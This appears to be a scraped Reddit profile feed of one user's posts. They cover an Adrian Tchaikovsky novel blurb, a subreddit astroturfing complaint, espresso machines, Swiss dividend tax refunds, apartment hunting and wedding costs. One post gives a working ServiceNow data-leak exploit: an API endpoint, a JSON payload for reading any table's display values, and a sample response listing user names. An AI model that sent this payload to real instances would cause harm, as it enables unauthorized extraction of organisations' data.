The Eigth Face cover reveal

The Eigth Face cover reveal

What hides beneath the waves of an alien world?
A gripping sci-fi mystery from the master of the genre, Adrian Tchaikovsky, featuring rebellious clones, deep-sea secrets and the dark truth behind a manufactured world.
On an island alone in the sea, a monastic community of clones lives in the shadow of a long-wrecked spaceship. There are seven clone lineages in their Retreat, so only seven shared human faces in their world. They know that benevolent ancestors, who landed here in a past age, designed their peaceful lives. But the tide is about to turn.
While serving a punishment detail on the beach, rebellious clone Six-Maijo makes a harrowing discovery. A body with a face belonging to no known lineage has washed ashore. Secretly pursuing the mystery, Maijo learns that some questions are best left unasked. What happened to the missing, submerged section of their wrecked ship? Why is the sea casting up its corpses – and why won’t they stay dead? The Retreat is under threat, and something sinister lies waiting in the depths.

u/N3XT191 — 18 hours ago

[META] Petition to ban u/Emilia_rechtsschutz for OBVIOUS astroturfing

They have responded to 12 posts with legal advice.

Of those 12 comments, 8 were within 12 minutes of the post.

The users u/emilia_rechtsschutz replied to were u/Miss_NamiMoon (3×), u/Buenzli1291 (2×), u/Lucasgreysson (2×), u/octyvescapes and u/Octyvelements

See any patterns? Most of these accounts have also ONLY posted the post

Also, u/Buenzli1291, u/Miss_NamiMoon, and u/Octyvelements were all created within 7 days! (March 25 – April 1, 2026) Which is also the exact same week u/emilia_rechtsschutz made their first comment!!

Is their Legal team just 24/7 reloading reddit? How can they have a thorough, well thought out legal response ready within 2min31s?

They are obviously posting fake legal problems and then respond to themselves from their own corporate account to advertise!

Ban that shitty Astroturfer already!

Date (UTC) Gap Posted by Post
2026-04-01 12h 42m Jane7979 Best day trip from Zurich by train?
2026-04-01 13h 18m NoSpite4211 learning swiss german
2026-04-14 14h 24m Future-Ad4777 Airbnb Host trying to charge me for Insufficient Ventilation
2026-04-29 39m 7s Do_Not_Touch_BOOOOOM Swiss 1 world problems
🚨 2026-05-13 8m 16s Lucasgreysson Company doesn't want to change the Arbeitszeugnis
🚨2026-05-26 12m 2s Octyvelements Statue of limitations on loans between siblings
🚨 2026-05-27 4m 59s Miss_NamiMoon Barbecuing on the balcony
🚨 2026-06-09 4m 8s Buenzli1291 Denial of disability benefits due to retraining
🚨 2026-07-06 3m 27s Miss_NamiMoon After 8 years, I was fired because I wanted equal pay.
🚨 2026-07-16 2m 31s octyvescapes Complete wage freeze in the middle of a burnout
🚨 2026-07-28 10m 28s Buenzli1291 Two meters of tree branches from my neighbor grow into my garden
🚨 2026-08-13 2m 35s Miss_NamiMoon Neighbor's video doorbell captures footage of the driveway
reddit.com
u/N3XT191 — 7 days ago

Solar eclipse over Zurich

I‘m very amateurish but thought I’d give it a try.

Got home just in time to charge up the old DSLR and rush out to a good spot.

Stacked 2 ND filters which some people online say should be enough, some say will still damage the sensor.

Haven’t noticed any damage so far but given I haven’t used the camera in years wouldn’t even be the end of the world.

Anyone got some more professional looking shots?

u/N3XT191 — 8 days ago

PSA for all US-ETF holder / DA-1 reimbursers

TLDR: you only get the full 15% back if your income tax rate is >17.9%ish

As probably most people here know, US domiciled ETFs are the most tax efficient strategy for Swiss investors because you can reclaim half of the withheld 30% of your dividends, so 15%.

Well, I just got my first DA-1 refund and was surprised it was around 20% lower than I expected.

Turns out, you only get 15% refunded if your Swiss income tax on those dividends is itself higher than 15%, otherwise you only get the amount back that you paid as part of your Swiss income tax declaration.

And to make things more complicated, they take into account your deduction for „Vermögensverwaltungskosten“ (which in Zurich is a flat 0.3% of total invested assets).

Assuming a dividend rate of 1.82% (VT in 2025), meaning you paid income tax on 1.52% of invested assets, your tax rate needs to be at least 1.82/1.52*15% which is around 17.9%.

With my tax rate of 13.84% I got only 11.4% of my US dividends reimbursed. (The math in my case is even more skewed because my total assets grew significantly towards the end of the year, so my 0.3% asset management deduction was calculated on a much bigger value than my dividend yield. Making the reimbursement even lower.

Difference is small ofc and most people in this sub have a higher tax rate so it won’t matter.
But even with a 6-figure salary and living in a village in Kt. Zurich I am below. So this might help some people keep their expectations in check…

reddit.com
u/N3XT191 — 1 month ago

Decaf Espresso can be (somewhat) thick and syrupy too!

Medium-dark Colombian decaf from Bern (Switzerland) roasters „Drip Roasters“.

Highest RPM setting on my Varia VS6 with a lever style profile on my Decent DE1XXL.

Not as nice and rich as a non-decaf ofc but this was pretty damn close!

u/N3XT191 — 1 month ago

Swiss efficiency at its best

Swiss efficiency at its best

Wife saw the brand new ad for an interesting apartment online during lunch break. I Submitted my application today 13:35.

By 13:53, they already called me back to ask a clarifying question about our cats, confirmed my employment details with my boss AND confirmed my wife’s employment with her boss.

At 15:05 we got the confirmation that we can have the flat.

Don’t have to decide today ofc but was still very impressed!

Funniest part is that it’s a whole block being fully renovated (very old building) and it’ll be a full on construction site for the next 9 months. Move in date would only be April 2027 so there’s *literally* no rush…

(Before anyone feels the need to warn me, I’m aware of rental scams. Really doubt this is one, as i talked to the phone number of a real, medium sized rental agency, but I obviously won’t send any money without a contract and confirming they are actually owning/managing/renting out that block of flats)

reddit.com
u/N3XT191 — 1 month ago
▲ 115 r/espresso

Brought my DE1XXL and Varia VS6 to work today!

Had some overtime saved up and no urgent tasks so spent most of the day making ~30 coffees for my colleagues.

Counter was too low so ended with quite the back ache but other than that, it was pretty cool to be able to crank out one shot after the other

Not ideal without plumbing and the sink in a different room but other than that, the machine (obviously) handled it no problem…

Surprisingly portable but that VS6 is heavy af, so any stair or ramp was a pain.

(Yes, it looks like there’s a crazy amount of crema. Bubbles were still settling, within seconds that settled to less than half of what you can see in the pic)

(Yes, with public transport. Bus + Train + tram)

EDIT: Some people are just hate their work that much I guess. Not everyone works in a corporate hellhole with coworkers they hate. Not like I’d do this every week but I enjoy making coffee, even without getting paid for it. It’s called a hobby.

u/N3XT191 — 2 months ago

Second day with my DE1XXL!

Love seeing the the shot come out and watching the extraction curves on the tablet at the same time!

DE1XXL, default profile, Varia VS6. 18.5g in, 37g out in ~20s. Have to go a tad finer next time!

u/N3XT191 — 2 months ago

Decent DE1XXL + Varia VS6

Just received my DE1XXL and was VERY surprised how quickly I got my first decent (haha!) espresso!

Connecting to the Acaia was 3 taps on the tablet, starting a shot with the default profile is 1 tap on the machine. Scale auto-tares and the shot stops automatically at 36.0 grams.

For a high-tech machine optimized for the ability to experiment with every single variable I think that’s pretty damn impressive.

The machine comes in a travel-suitcase with wheels and arrived in 3 working days from Hong Kong (ordered last Thursday). I call that pretty damn quick!

u/N3XT191 — 2 months ago

[META] New „Low-Effort“ Rule Proposal

From time to time (sometimes quite often), people post pictures or videos of spiders or insects in this sub.

While obviously AT is the bug/spider guy, most of these posts don’t have anything to do with the actual books beyond just „look, it’s a spider!“.

I personally feel like these posts don’t add any value to the sub and am proposing we ban them under a new low-effort rule.

IF the poster uses the post to start a discussion on ATs writing (i.e. provide some context and connect the posted insect pic/video to the books etc) that would still be fine.

But just posting a video about jumping spiders and saying „it‘s Portia“ would be removed.

Alternatively, we could also remove these posts under the existing „Off-Topic“ rule but a separate rule might be more clear.

Let me know what you think, I don’t want to go all pallaseen on you if you actually enjoy this kind of content.

View Poll

reddit.com
u/N3XT191 — 2 months ago

The recent SN Vulnerability let attackers extract ANY Display value in ANY Table

Just recreated the vulnerability on a PDI.

The recent SN Vulnerability let attackers extract ANY Display value in ANY Table

And since the ACL Table has the technical table name as its display value, it was even possible to extract the list of all custom tables and then extract the display value of records in those custom tables.

If you want to replicate it, send the following payload to https://INSTANCE.service-now.com/api/now/related_list_edit/create

(Just change "userGivenTable" to whatever table you want to query, the other fields are irrelevant)

{
  "type": "m2m",
  "userGivenTable": "sys_user",
  "m2mTableName": "sys_user_group",
  "parentFieldName": "blablabla",
  "parentRecordSysId": "477a05d153013010b846ddeeff7b1225",
  "referencedFieldName": "user",
  "itemFilterQuery": "",
  "newItemsQuery": "",
  "relatedListName": "Group Members",
  "asyncOperation": false,
  "asyncProperties": {},
  "channel": "",
  "extensionPoint": ""
}

You get the following response:

{
    "result": {
        "success": 0,
        "successRecords": [],
        "error": [
            {
                "status": "UNKNOWN_ERROR",
                "record": "survey user"
            },
            {
                "status": "UNKNOWN_ERROR",
                "record": "Lucius Bagnoli"
            },
            {
                "status": "UNKNOWN_ERROR",
                "record": "Jimmie Barninger"
            },
            {
                "status": "UNKNOWN_ERROR",
                "record": "Melinda Carleton"
            },
            {
                "status": "UNKNOWN_ERROR",
                "record": "Jewel Agresta"
            },
            {
                "status": "UNKNOWN_ERROR",
                "record": "Sean Bonnet"
            },
            {
                "status": "UNKNOWN_ERROR",
                "record": "Jacinto Gawron"
            },
            {
                "status": "UNKNOWN_ERROR",
                "record": "Krystle Stika"
            },
            {
                "status": "UNKNOWN_ERROR",
                "record": "Billie Cowley"
            },
            .......
        ],
        "asyncProperties": {},
        "relatedListName": "Group Members"
    }
}
reddit.com
u/N3XT191 — 2 months ago

‚The Eight Face‘ (March 2027) now has a blurb!

Seven lineages. Seven faces. One dark secret.
On a remote island in a distant world, the monks of the Retreat live in the shadow of the Firstcomers. They work, they pray and they replicate, believing their existence is the ultimate design of their ancestors. For the clones of the seven lineages, the monastery is more than a home – it is the entire universe.
But for Six-Maijo, currently relegated to the 'Scav' beachcombing detail as punishment for his unruly nature, the universe just got a lot bigger. When a body washes ashore, it brings with it a terrifying impossibility: a face that belongs to no known lineage. As the authorities scramble to maintain the illusion of order, Maijo begins to pull at the threads of their history.
What lies in the sunken half of the Firstcomers’ ship, deep beneath the waves? Why is the island’s flora behaving so strangely? And what truth is so dangerous that the monastery elders would rather watch their world fracture than reveal it?
A gripping sci-fi mystery from the master of the genre, Adrian Tchaikovsky, featuring rebellious clones, deep-sea secrets and the dark truth behind a manufactured world.
* * *

reddit.com
u/N3XT191 — 2 months ago

New Tyrant Philosopher short story „Candles“ in „The iron Code“

Anthology by Newcon Press, was just sent out to Kickstarter Backers today.

Was pleasantly surprised that ATs story is set in the Tyrant Philosopher universe. Set in Farslandi (far north on the map that’s printed in LoBR), probably during Pretenders, but no direct connections and no crossover characters.

It’s a fun little peak into a different place we haven’t seen yet and doesn’t require any knowledge of the main books at all.

Not yet available for purchase if you didn’t back the Kickstarter but I’m sure it’ll be available soon from Newcon Press.

u/N3XT191 — 2 months ago

RARE signed 1st/1st Cage of Souls available on eBay with sprayed edges!

https://www.ebay.co.uk/itm/306973959421

Not affiliated with the seller, just saw it and know that some in this group have been looking for one!

Last time this came up for sale was over a year ago, haven’t seen it for sale since (and I check all the sites frequently)

u/N3XT191 — 3 months ago

Wedding cost breakdown [OC]

https://preview.redd.it/3oiffrk0vq1h1.png?width=2400&format=png&auto=webp&s=71cae25de0b6d45e7230f792ac9c5667bcf4a1b8

Just got back from our honeymoon and did a quick breakdown of all the expenses.

Context is ofc very relevant, so here it goes:

  • Civil Ceremony (20 people) => Apero Riche on a boat (2h, 38 people) => Cake, Desserts, Drinks at a privately rented café (5h, ~55-60 people)
  • No church ceremony
  • Only includes cash gifts and costs directly paid by us
  • Received a few non-cash gifts, but not too many
  • A family member organised (and paid for) flowers/decoration and other family organised and paid for transport/hotel for 2 guests who came from abroad
  • Other than the few guests from abroad, no hotels were required for anyone. Civil ceremony was in a castle outside Zurich, most people including us were semi-local to it.
  • Honeymoon was a 3 week camper van road trip through Italy. Mostly stayed at campsites / agritourismi but had a total 3 hotel nights in between.
  • I can't think of any other even tangentially related expense, this should really include everything (even the new passport due to name change).

We originally planned/budgeted to pay for it all ourselves but got (positively) surprised by everyone's generosity, especially close family. We specifically asked on our invites for (small) cash contributions for our honeymoon but all larger gifts by family were offered without asking.

We are both 27, total gross household income is ~175k and if we had to pay the whole 20k ourselves, that would have amounted to around 10% of our non-3a savings. (Both been working full-time for 3-4y).

If anyone has any questions / inputs / remarks, I'm happy to share details (or not, if it's too personal...)

reddit.com
u/N3XT191 — 3 months ago